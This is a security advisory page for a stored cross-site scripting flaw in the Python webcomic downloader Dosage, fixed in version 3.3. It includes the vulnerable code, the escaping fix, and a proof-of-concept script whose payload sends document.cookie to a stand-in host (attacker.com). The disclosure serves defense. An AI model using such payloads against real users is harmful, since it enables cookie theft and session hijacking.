GHSA-75mw-h36v-2jv7: Dosage Cross-Site Scripting Vulnerability

MODERATE
CVSS 6.1
CWE-79
Published
Advisory Summary

GHSA-75mw-h36v-2jv7 is a MODERATE (CVSS 6.1) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Dosage libraries in the PyPI ecosystem. The issue involves dosage vulnerable to stored cross-site scripting (xss) in html/rss output handlers. Remediation is available by upgrading affected packages to version 3.3.

GHSA-75mw-h36v-2jv7 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-75mw-h36v-2jv7
Severity MODERATE
CVSS v3.1 Base Score 6.1
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Dosage
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality Low (C:L)
Integrity Low (I:L)
Availability None (A:N)

How to Fix GHSA-75mw-h36v-2jv7

To remediate this vulnerability, upgrade all affected Dosage dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

dosage fixed: 3.3
pip install dosage>=3.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show dosage

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-75mw-h36v-2jv7, inspect your installed packages using pip:

pip show dosage

Analyze the terminal output to locate any version of Dosage in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.3), your application is affected.

Note: The pip show dosage command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Dosage, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The HTML and RSS output handlers in `dosagelib/events.py` write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser. **CWE**: [CWE-79](https://cwe.mitre.org/data/definitions/79.html) - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) --- ## Details ### Vulnerable Code Locations The vulnerability exists in `dosagelib/events.py` where untrusted content is written to HTML/RSS output without escaping: **1. RSSEventHandler (lines 116-118)** ```python # events.py:116-118 if comic.text: description += '<br/>%s' % comic.text # ← Unescaped comic.text description += '<br/><a href="%s">View Comic Online</a>' % pageUrl # ← Unescaped URL ``` **2. HtmlEventHandler (lines 232, 238)** ```python # events.py:232 self.html.write(u'<li><a href="%s">%s</a>\n' % (pageUrl, pageUrl)) # ← Unescaped URL # events.py:238 if text: self.html.write(u'<br/>%s\n' % text) # ← Unescaped text ``` ### Root Cause - `BasicScraper.fetchText()` in `scraper.py:422` calls `html.unescape()` on extracted text - The output handlers never call `html.escape()` before writing to files - No sanitization of URLs or text content occurs anywhere in the output pipeline ### Data Flow ``` Malicious webcomic page ↓ textSearch XPath extracts content (e.g., img/@title, div text) ↓ BasicScraper.fetchText() calls html.unescape() ↓ comic.text stored without sanitization ↓ HtmlEventHandler/RSSEventHandler writes to file without html.escape() ↓ Generated HTML/RSS contains executable JavaScript ``` --- ## PoC I created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source. ### Prerequisites - Docker installed and running ### PoC Files Create these files in a `poc/` directory: **1. `poc/Dockerfile`** ```dockerfile FROM python:3.11-slim LABEL description="PoC for dosage Stored XSS vulnerability (CWE-79)" WORKDIR /app COPY . /app # Install dependencies RUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs # Install dosage ENV SETUPTOOLS_SCM_PRETEND_VERSION_FOR_DOSAGE=0.0.0 RUN pip install --no-cache-dir --quiet . CMD ["python", "poc/poc.py"] ``` **2. `poc/poc.py`** ```python #!/usr/bin/env python3 """ PoC: Stored XSS in dosage HTML/RSS Output Handlers Demonstrates that untrusted comic content is written to output files unescaped. """ import sys from pathlib import Path from types import SimpleNamespace from dosagelib.events import HtmlEventHandler, RSSEventHandler # XSS payloads simulating malicious webcomic content MALICIOUS_TEXT = "Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>" MALICIOUS_URL = "javascript:alert('XSS-via-URL')" def check_vulnerability(content: str, marker: str, description: str) -> bool: """Check if unescaped marker appears in content.""" if marker.lower() in content.lower(): print(f" [VULNERABLE] {description}") print(f" Found unescaped: {marker}") return True print(f" [SAFE] {description}") return False def main(): print("=" * 70) print("PoC: Stored XSS in dosage HTML/RSS Output Handlers") print("=" * 70) print() base = Path(__file__).parent / "output" base.mkdir(parents=True, exist_ok=True) # Create dummy image file img_path = base / "payload.png" img_path.write_bytes(b"\x89PNG\r\n\x1a\n") # Simulate comic with malicious content comic = SimpleNamespace( scraper=SimpleNamespace(name="MaliciousComic"), referrer=MALICIOUS_URL, text=MALICIOUS_TEXT, url="http://example.com/comic.png" ) vulnerabilities_found = 0 # Test RSS Handler print("[*] Testing RSSEventHandler...") rss_handler = RSSEventHandler(str(base), None, False) rss_handler.start() rss_handler.comicDownloaded(comic, str(img_path)) rss_handler.end() rss_path = Path(rss_handler.rssfn) rss_content = rss_path.read_text(encoding="utf-8") print(f" Output file: {rss_path}") if check_vulnerability(rss_content, "javascript:", "pageUrl in RSS href"): vulnerabilities_found += 1 # Test HTML Handler print() print("[*] Testing HtmlEventHandler...") html_handler = HtmlEventHandler(str(base), None, False) html_handler.start() html_path = Path(html_handler.html.name) html_handler.comicDownloaded(comic, str(img_path), text=MALICIOUS_TEXT) html_handler.end() html_content = html_path.read_text(encoding="utf-8") print(f" Output file: {html_path}") if check_vulnerability(html_content, "<script>", "text param in HTML"): vulnerabilities_found += 1 if check_vulnerability(html_content, "javascript:", "pageUrl in HTML link"): vulnerabilities_found += 1 # Show vulnerable content print() print("-" * 70) print("Vulnerable Content in Generated HTML:") print("-" * 70) for line in html_content.splitlines(): if "<script>" in line.lower() or "javascript:" in line.lower(): print(f" {line}") print() print("=" * 70) print(f"RESULT: {vulnerabilities_found} XSS vulnerability vectors confirmed!") print("=" * 70) return 0 if vulnerabilities_found > 0 else 1 if __name__ == "__main__": sys.exit(main()) ``` **3. `poc/run_poc.sh`** ```bash #!/usr/bin/env bash set -euo pipefail SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" ROOT_DIR="$(cd "${SCRIPT_DIR}/.." && pwd)" echo "[*] Building PoC Docker image..." docker build -t dosage-xss-poc -f "${SCRIPT_DIR}/Dockerfile" "${ROOT_DIR}" --quiet echo "[*] Running PoC..." docker run --rm dosage-xss-poc echo "[*] Cleanup: docker rmi dosage-xss-poc" ``` ### Running the PoC ```bash cd /path/to/dosage chmod +x poc/run_poc.sh ./poc/run_poc.sh ``` ### PoC Output ``` ====================================================================== PoC: Stored XSS in dosage HTML/RSS Output Handlers ====================================================================== [*] Testing RSSEventHandler... Output file: /app/poc/output/dailydose.rss [VULNERABLE] pageUrl in RSS href Found unescaped: javascript: [*] Testing HtmlEventHandler... Output file: /app/poc/output/html/comics-20251210.html [VULNERABLE] text param in HTML Found unescaped: <script> [VULNERABLE] pageUrl in HTML link Found unescaped: javascript: ---------------------------------------------------------------------- Vulnerable Content in Generated HTML: ---------------------------------------------------------------------- <li><a href="javascript:alert('XSS-via-URL')">javascript:alert('XSS-via-URL')</a> <br/>Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script> ====================================================================== RESULT: 3 XSS vulnerability vectors confirmed! ====================================================================== ``` The output shows that: 1. The `javascript:` URL is written directly into `<a href>` attributes 2. The `<script>` tag from comic text appears unescaped in the HTML body --- ## Impact ### Who is affected? - Users who use `dosage --output html` or `dosage --output rss` options - Anyone who opens the generated HTML/RSS files in a browser ### Attack scenario 1. Attacker creates or compromises a webcomic site 2. Attacker injects JavaScript into image title/alt attributes: ```html <img src="comic.png" title="Funny!<script>alert(1)</script>"> ``` 3. Victim runs: `dosage MaliciousComic --output html` 4. The generated `Comics/html/comics-YYYYMMDD.html` contains the unescaped script 5. When victim opens the file, JavaScript executes ### Potential consequences - **Cookie theft** if files are served over HTTP - **Local file access** via `file://` protocol - **Phishing attacks** through DOM manipulation --- ## Recommended Fix Escape all user-controlled content before writing to HTML/RSS: ```python import html # In RSSEventHandler.comicDownloaded() - events.py around line 116: if comic.text: description += '<br/>%s' % html.escape(comic.text) description += '<br/><a href="%s">View Comic Online</a>' % html.escape(pageUrl) # In HtmlEventHandler.comicDownloaded() - events.py around line 232: self.html.write(u'<li><a href="%s">%s</a>\n' % (html.escape(pageUrl), html.escape(pageUrl))) # events.py around line 238: if text: self.html.write(u'<br/>%s\n' % html.escape(text)) ``` For URLs, validating that they use safe protocols (`http://`, `https://`) would also help prevent javascript: URLs. --- ## Resources - [CWE-79: Cross-site Scripting (XSS)](https://cwe.mitre.org/data/definitions/79.html) - [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html) - [Python html.escape() documentation](https://docs.python.org/3/library/html.html#html.escape) ---

GHSA-75mw-h36v-2jv7 Affected Dosage Versions

1 component(s)
Fixed Versions:
3.3
Product / Package Ecosystem Affected Versions Fixed Version
dosage
PyPI
< 3.3
3.3

References

Frequently Asked Questions

What is GHSA-75mw-h36v-2jv7?
GHSA-75mw-h36v-2jv7 is a security vulnerability in Dosage involving Dosage Vulnerable to Stored Cross-Site Scripting (XSS) in HTML/RSS Output Handlers under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Dosage versions are affected?
Affected versions include releases prior to 3.3 across affected packages: dosage.
What version fixes GHSA-75mw-h36v-2jv7?
Upgrading to 3.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is dosage affected?
Yes, dosage is affected in releases prior to 3.3. Upgrade your dependency to 3.3 or later.
What is the CVSS score of GHSA-75mw-h36v-2jv7?
GHSA-75mw-h36v-2jv7 has a CVSS v3.1 base score of 6.1 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N.
What CWE is associated with GHSA-75mw-h36v-2jv7?
GHSA-75mw-h36v-2jv7 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check PyPI dependencies for GHSA-75mw-h36v-2jv7?
Run the dependency tree command: 'pip show dosage'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-75mw-h36v-2jv7",
  "modified" : "2026-07-21T19:53:21Z",
  "published" : "2026-06-26T21:03:43Z",
  "aliases" : [ ],
  "summary" : "Dosage Vulnerable to Stored Cross-Site Scripting (XSS) in HTML/RSS Output Handlers",
  "details" : "## Summary\n\nThe HTML and RSS output handlers in `dosagelib/events.py` write user-controlled content (comic text and page URLs) directly into generated files without proper HTML escaping. When a user scrapes a malicious webcomic and opens the generated HTML/RSS file, attacker-controlled JavaScript can execute in their browser.\n\n**CWE**: [CWE-79](https://cwe.mitre.org/data/definitions/79.html) - Improper Neutralization of Input During Web Page Generation (Cross-site Scripting)\n\n---\n\n## Details\n\n### Vulnerable Code Locations\n\nThe vulnerability exists in `dosagelib/events.py` where untrusted content is written to HTML/RSS output without escaping:\n\n**1. RSSEventHandler (lines 116-118)**\n```python\n# events.py:116-118\nif comic.text:\n    description += '<br/>%s' % comic.text        # ← Unescaped comic.text\ndescription += '<br/><a href=\"%s\">View Comic Online</a>' % pageUrl  # ← Unescaped URL\n```\n\n**2. HtmlEventHandler (lines 232, 238)**\n```python\n# events.py:232\nself.html.write(u'<li><a href=\"%s\">%s</a>\\n' % (pageUrl, pageUrl))  # ← Unescaped URL\n\n# events.py:238\nif text:\n    self.html.write(u'<br/>%s\\n' % text)  # ← Unescaped text\n```\n\n### Root Cause\n\n- `BasicScraper.fetchText()` in `scraper.py:422` calls `html.unescape()` on extracted text\n- The output handlers never call `html.escape()` before writing to files\n- No sanitization of URLs or text content occurs anywhere in the output pipeline\n\n### Data Flow\n\n```\nMalicious webcomic page\n    ↓\ntextSearch XPath extracts content (e.g., img/@title, div text)\n    ↓\nBasicScraper.fetchText() calls html.unescape()\n    ↓\ncomic.text stored without sanitization\n    ↓\nHtmlEventHandler/RSSEventHandler writes to file without html.escape()\n    ↓\nGenerated HTML/RSS contains executable JavaScript\n```\n\n---\n\n## PoC\n\nI created a proof-of-concept that demonstrates the vulnerability by simulating a malicious comic source.\n\n### Prerequisites\n- Docker installed and running\n\n### PoC Files\n\nCreate these files in a `poc/` directory:\n\n**1. `poc/Dockerfile`**\n```dockerfile\nFROM python:3.11-slim\n\nLABEL description=\"PoC for dosage Stored XSS vulnerability (CWE-79)\"\n\nWORKDIR /app\nCOPY . /app\n\n# Install dependencies\nRUN pip install --no-cache-dir --quiet imagesize lxml requests rich platformdirs\n\n# Install dosage\nENV SETUPTOOLS_SCM_PRETEND_VERSION_FOR_DOSAGE=0.0.0\nRUN pip install --no-cache-dir --quiet .\n\nCMD [\"python\", \"poc/poc.py\"]\n```\n\n**2. `poc/poc.py`**\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC: Stored XSS in dosage HTML/RSS Output Handlers\nDemonstrates that untrusted comic content is written to output files unescaped.\n\"\"\"\n\nimport sys\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\nfrom dosagelib.events import HtmlEventHandler, RSSEventHandler\n\n# XSS payloads simulating malicious webcomic content\nMALICIOUS_TEXT = \"Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>\"\nMALICIOUS_URL = \"javascript:alert('XSS-via-URL')\"\n\ndef check_vulnerability(content: str, marker: str, description: str) -> bool:\n    \"\"\"Check if unescaped marker appears in content.\"\"\"\n    if marker.lower() in content.lower():\n        print(f\"  [VULNERABLE] {description}\")\n        print(f\"               Found unescaped: {marker}\")\n        return True\n    print(f\"  [SAFE] {description}\")\n    return False\n\ndef main():\n    print(\"=\" * 70)\n    print(\"PoC: Stored XSS in dosage HTML/RSS Output Handlers\")\n    print(\"=\" * 70)\n    print()\n\n    base = Path(__file__).parent / \"output\"\n    base.mkdir(parents=True, exist_ok=True)\n\n    # Create dummy image file\n    img_path = base / \"payload.png\"\n    img_path.write_bytes(b\"\\x89PNG\\r\\n\\x1a\\n\")\n\n    # Simulate comic with malicious content\n    comic = SimpleNamespace(\n        scraper=SimpleNamespace(name=\"MaliciousComic\"),\n        referrer=MALICIOUS_URL,\n        text=MALICIOUS_TEXT,\n        url=\"http://example.com/comic.png\"\n    )\n\n    vulnerabilities_found = 0\n\n    # Test RSS Handler\n    print(\"[*] Testing RSSEventHandler...\")\n    rss_handler = RSSEventHandler(str(base), None, False)\n    rss_handler.start()\n    rss_handler.comicDownloaded(comic, str(img_path))\n    rss_handler.end()\n    \n    rss_path = Path(rss_handler.rssfn)\n    rss_content = rss_path.read_text(encoding=\"utf-8\")\n    print(f\"    Output file: {rss_path}\")\n    \n    if check_vulnerability(rss_content, \"javascript:\", \"pageUrl in RSS href\"):\n        vulnerabilities_found += 1\n\n    # Test HTML Handler  \n    print()\n    print(\"[*] Testing HtmlEventHandler...\")\n    html_handler = HtmlEventHandler(str(base), None, False)\n    html_handler.start()\n    html_path = Path(html_handler.html.name)\n    html_handler.comicDownloaded(comic, str(img_path), text=MALICIOUS_TEXT)\n    html_handler.end()\n\n    html_content = html_path.read_text(encoding=\"utf-8\")\n    print(f\"    Output file: {html_path}\")\n    \n    if check_vulnerability(html_content, \"<script>\", \"text param in HTML\"):\n        vulnerabilities_found += 1\n    if check_vulnerability(html_content, \"javascript:\", \"pageUrl in HTML link\"):\n        vulnerabilities_found += 1\n\n    # Show vulnerable content\n    print()\n    print(\"-\" * 70)\n    print(\"Vulnerable Content in Generated HTML:\")\n    print(\"-\" * 70)\n    for line in html_content.splitlines():\n        if \"<script>\" in line.lower() or \"javascript:\" in line.lower():\n            print(f\"  {line}\")\n\n    print()\n    print(\"=\" * 70)\n    print(f\"RESULT: {vulnerabilities_found} XSS vulnerability vectors confirmed!\")\n    print(\"=\" * 70)\n    \n    return 0 if vulnerabilities_found > 0 else 1\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n**3. `poc/run_poc.sh`**\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\"\nROOT_DIR=\"$(cd \"${SCRIPT_DIR}/..\" && pwd)\"\n\necho \"[*] Building PoC Docker image...\"\ndocker build -t dosage-xss-poc -f \"${SCRIPT_DIR}/Dockerfile\" \"${ROOT_DIR}\" --quiet\n\necho \"[*] Running PoC...\"\ndocker run --rm dosage-xss-poc\n\necho \"[*] Cleanup: docker rmi dosage-xss-poc\"\n```\n\n### Running the PoC\n\n```bash\ncd /path/to/dosage\nchmod +x poc/run_poc.sh\n./poc/run_poc.sh\n```\n\n### PoC Output\n\n```\n======================================================================\nPoC: Stored XSS in dosage HTML/RSS Output Handlers\n======================================================================\n\n[*] Testing RSSEventHandler...\n    Output file: /app/poc/output/dailydose.rss\n  [VULNERABLE] pageUrl in RSS href\n               Found unescaped: javascript:\n\n[*] Testing HtmlEventHandler...\n    Output file: /app/poc/output/html/comics-20251210.html\n  [VULNERABLE] text param in HTML\n               Found unescaped: <script>\n  [VULNERABLE] pageUrl in HTML link\n               Found unescaped: javascript:\n\n----------------------------------------------------------------------\nVulnerable Content in Generated HTML:\n----------------------------------------------------------------------\n  <li><a href=\"javascript:alert('XSS-via-URL')\">javascript:alert('XSS-via-URL')</a>\n  <br/>Funny Comic!<script>fetch('http://attacker.com/?c='+document.cookie)</script>\n\n======================================================================\nRESULT: 3 XSS vulnerability vectors confirmed!\n======================================================================\n```\n\nThe output shows that:\n1. The `javascript:` URL is written directly into `<a href>` attributes\n2. The `<script>` tag from comic text appears unescaped in the HTML body\n\n---\n\n## Impact\n\n### Who is affected?\n- Users who use `dosage --output html` or `dosage --output rss` options\n- Anyone who opens the generated HTML/RSS files in a browser\n\n### Attack scenario\n1. Attacker creates or compromises a webcomic site\n2. Attacker injects JavaScript into image title/alt attributes:\n   ```html\n   <img src=\"comic.png\" title=\"Funny!<script>alert(1)</script>\">\n   ```\n3. Victim runs: `dosage MaliciousComic --output html`\n4. The generated `Comics/html/comics-YYYYMMDD.html` contains the unescaped script\n5. When victim opens the file, JavaScript executes\n\n### Potential consequences\n- **Cookie theft** if files are served over HTTP\n- **Local file access** via `file://` protocol\n- **Phishing attacks** through DOM manipulation\n\n---\n\n## Recommended Fix\n\nEscape all user-controlled content before writing to HTML/RSS:\n\n```python\nimport html\n\n# In RSSEventHandler.comicDownloaded() - events.py around line 116:\nif comic.text:\n    description += '<br/>%s' % html.escape(comic.text)\ndescription += '<br/><a href=\"%s\">View Comic Online</a>' % html.escape(pageUrl)\n\n# In HtmlEventHandler.comicDownloaded() - events.py around line 232:\nself.html.write(u'<li><a href=\"%s\">%s</a>\\n' % (html.escape(pageUrl), html.escape(pageUrl)))\n\n# events.py around line 238:\nif text:\n    self.html.write(u'<br/>%s\\n' % html.escape(text))\n```\n\nFor URLs, validating that they use safe protocols (`http://`, `https://`) would also help prevent javascript: URLs.\n\n---\n\n## Resources\n\n- [CWE-79: Cross-site Scripting (XSS)](https://cwe.mitre.org/data/definitions/79.html)\n- [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n- [Python html.escape() documentation](https://docs.python.org/3/library/html.html#html.escape)\n\n---",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "dosage"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.3"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/webcomics/dosage/security/advisories/GHSA-75mw-h36v-2jv7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/webcomics/dosage/commit/b91fd5cc3889aed3d9cc81b98834648197b2859a"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/webcomics/dosage"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/webcomics/dosage/releases/tag/3.3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-26T21:03:43Z",
    "nvd_published_at" : null
  }
}